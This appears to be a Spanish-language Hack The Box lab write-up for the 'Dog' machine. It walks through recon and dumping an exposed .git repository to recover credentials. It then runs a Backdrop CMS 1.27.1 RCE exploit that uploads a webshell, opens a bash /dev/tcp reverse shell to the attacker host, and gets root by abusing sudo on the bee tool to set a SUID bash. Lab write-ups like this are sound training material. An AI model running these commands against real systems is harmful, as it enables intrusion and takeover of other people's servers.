hackache
search
⌘Ctrlk
hackache
  • cube[ Hackache ]
  • arrow-progressMetodología
  • linuxLINUX
    • Enumeración
    • Linux
    • Port fordwarding
    • Privilege Escalation
    • Python
    • Reverse Shell
    • Setup
    • Shell interactiva estable
    • Shells
    • Webshell
  • windowsWINDOWS
    • Windows
    • Active Directory
    • Enumeración
    • Privilege Escalation
    • Reverse Shell
    • Transferencia de archivos
  • spider-black-widowvulnerabilities/ATTACKS
    • Vulnerabilities/Attacks
  • databaseDatabases
  • hiveBlockchain
  • globe-pointerCMS
  • binary-lockCryptography
  • microchipHardware
  • helmet-battlePayloads
  • code-simpleProgramming
  • book-bookmarkResources
  • arrow-up-right-and-arrow-down-left-from-centerReversing
  • servicestackServices
  • screwdriver-wrenchTools
  • diamonds-4Various
  • serverWebservers
  • square-listWordlists
  • cubeHack The Box
    • Academy
    • Challenges
    • CTF
    • Machines
      • Armageddon
      • Artificial
      • Baby
      • Brainfuck
      • Cap
      • Crafty
      • Data
      • Dog
      • Down
      • Editor
      • Eighteen
      • Era
      • Eureka
      • Environment
      • Forgotten
      • ghostGhost
      • Horizontall
      • Joker
      • Lame
      • Lock
      • Manage
      • Mirage
      • Outbound
      • Perfection
      • popcornPopcorn
      • Previse
      • RedPanda
      • Reset
      • Retro
      • RetroTwo
      • RustyKey
      • Stocker
      • Strutted
      • Support
      • TwoMillion
      • Voleur
      • VulnEscape
      • WhiteRabbit
    • Pro Labs
    • Sherlocks
  • OverTheWire
  • Vulnyx
    • Machines
  • DOCKER LABS
    • Machines
  • The Hackers Labs
    • Machines
gitbookPowered by GitBook
block-quoteOn this pagechevron-down
  1. cubeHack The Boxchevron-right
  2. Machines

Dog

#linux #easy

https://app.hackthebox.com/machines/Dogarrow-up-right


sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -vv 10.129.231.223 -oA openPorts

http://10.129.231.223/.git/arrow-up-right

GitTools

http://10.129.231.223/?q=user/loginarrow-up-right

http://10.129.231.223/?q=admin/dashboardarrow-up-right

Googlear backdrop 1.27 vuln

https://www-exploit--db-com.translate.goog/exploits/52021?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=es&_x_tr_pto=tcarrow-up-right

http://10.129.231.223/?q=admin/installer/manualarrow-up-right

http://10.129.231.223/modules/shell/shell.phparrow-up-right

Shell interactiva estable

hashtag
User flag

circle-check

73bd************************a38f

hashtag
Root flag

circle-check

d294************************3fa0

PreviousDatachevron-leftNextDownchevron-right

Last updated 4 months ago

  • User flag
  • Root flag
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
nmap -p 22,80 -sCV -Pn -n -vv 10.129.231.223 -oA openPortsServicesVersion
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEJsqBRTZaxqvLcuvWuqOclXU1uxwUJv98W1TfLTgTYqIBzWAqQR7Y6fXBOUS6FQ9xctARWGM3w3AeDw+MW0j+iH83gc9J4mTFTBP8bXMgRqS2MtoeNgKWozPoy6wQjuRSUammW772o8rsU2lFPq3fJCoPgiC7dR4qmrWvgp5TV8GuExl7WugH6/cTGrjoqezALwRlKsDgmAl6TkAaWbCC1rQ244m58ymadXaAx5I5NuvCxbVtw32/eEuyqu+bnW8V2SdTTtLCNOe1Tq0XJz3mG9rw8oFH+Mqr142h81jKzyPO/YrbqZi2GvOGF+PNxMg+4kWLQ559we+7mLIT7ms0esal5O6GqIVPax0K21+GblcyRBCCNkawzQCObo5rdvtELh0CPRkBkbOPo4CfXwd/DxMnijXzhR/lCLlb2bqYUMDxkfeMnmk8HRF+hbVQefbRC/+vWf61o2l0IFEr1IJo3BDtJy5m2IcWCeFX3ufk5Fme8LTzAsk6G9hROXnBZg8=
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM/NEdzq1MMEw7EsZsxWuDa+kSb+OmiGvYnPofRWZOOMhFgsGIWfg8KS4KiEUB2IjTtRovlVVot709BrZnCvU8Y=
|   256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPMpkoATGAIWQVbEl67rFecNZySrzt944Y/hWAyq4dPc
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-git: 
|   10.129.231.223:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
| http-robots.txt: 22 disallowed entries 
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
| /user/password /user/login /user/logout /?q=admin /?q=comment/reply 
| /?q=filter/tips /?q=node/add /?q=search /?q=user/password 
|_/?q=user/register /?q=user/login /?q=user/logout
|_http-favicon: Unknown favicon MD5: 3836E83A3E835A26D789DDA9E78C5510
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
wget https://raw.githubusercontent.com/internetwache/GitTools/refs/heads/master/Dumper/gitdumper.sh   
bash gitdumper.sh http://dog.htb/.git/ dump
[+] Downloaded: objects/d6/f8c720ee14234d6da1cd2833dfd029133b9345
[-] Downloaded: objects/22/22222222222222222222222222222222222222
cd dump
git restore .
cat settings.php
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
ffuf -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -u http://dog.htb/\?q=accounts/FUZZ -c -ic -t 80
john                    [Status: 403, Size: 7544, Words: 643, Lines: 114, Duration: 644ms]
tiffany                 [Status: 403, Size: 7544, Words: 643, Lines: 114, Duration: 1009ms]
John                    [Status: 403, Size: 7544, Words: 643, Lines: 114, Duration: 271ms]
morris                  [Status: 403, Size: 7544, Words: 643, Lines: 114, Duration: 642ms]
Usuario: tiffany
Contraseña: BackDropJ2024DS2024
curl http://dog.htb/core/profiles/testing/testing.info
name = Testing
description = Minimal profile for running tests. Includes absolutely required modules only.
version = BACKDROP_VERSION
backdrop = 1.x
type = profile
hidden = TRUE

dependencies[] = layout

; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662
python3 exploit.py http://dog.htb
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://dog.htb/admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://dog.htb/modules/shell/shell.php
tar -czvf shell.tar.gz shell
shell/
shell/shell.info
shell/shell.php
nc -lvnp 1111
listening on [any] 1111 ...
bash -c "bash -i >& /dev/tcp/10.10.14.169/1111 0>&1"
nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.14.169] from (UNKNOWN) [10.129.231.223] 40288
bash: cannot set terminal process group (1009): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dog:/var/www/html/modules/shell$ 
www-data@dog:/var/www/html/modules/shell$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
ssh johncusack@10.129.231.223
The authenticity of host '10.129.231.223 (10.129.231.223)' can't be established.
ED25519 key fingerprint is SHA256:M3A+wMdtWP0tBPvp9OcRf6sPPmPmjfgNphodr912r1o.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.231.223' (ED25519) to the list of known hosts.
johncusack@10.129.231.223's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri 03 Oct 2025 08:21:49 PM UTC

  System load:           0.0
  Usage of /:            47.8% of 6.32GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             236
  Users logged in:       0
  IPv4 address for eth0: 10.129.231.223
  IPv6 address for eth0: dead:beef::250:56ff:fe94:ad64


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

johncusack@dog:~$ cat user.txt 
johncusack@dog:~$ sudo -l
[sudo] password for johncusack: 
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee
johncusack@dog:~$ sudo /usr/local/bin/bee --root=/var/www/html eval "echo shell_exec('id');"
uid=0(root) gid=0(root) groups=0(root)
johncusack@dog:~$ sudo /usr/local/bin/bee --root=/var/www/html eval "echo shell_exec('cp /bin/bash /tmp/bash && chmod u+s /tmp/bash');"
johncusack@dog:~$ ls -la /tmp/bash
-rwsr-xr-x 1 root root 1183448 Oct  3 20:26 /tmp/bash
johncusack@dog:~$ /tmp/bash -p
bash-5.0# cd /root
bash-5.0# ls
root.txt
bash-5.0# cat root.txt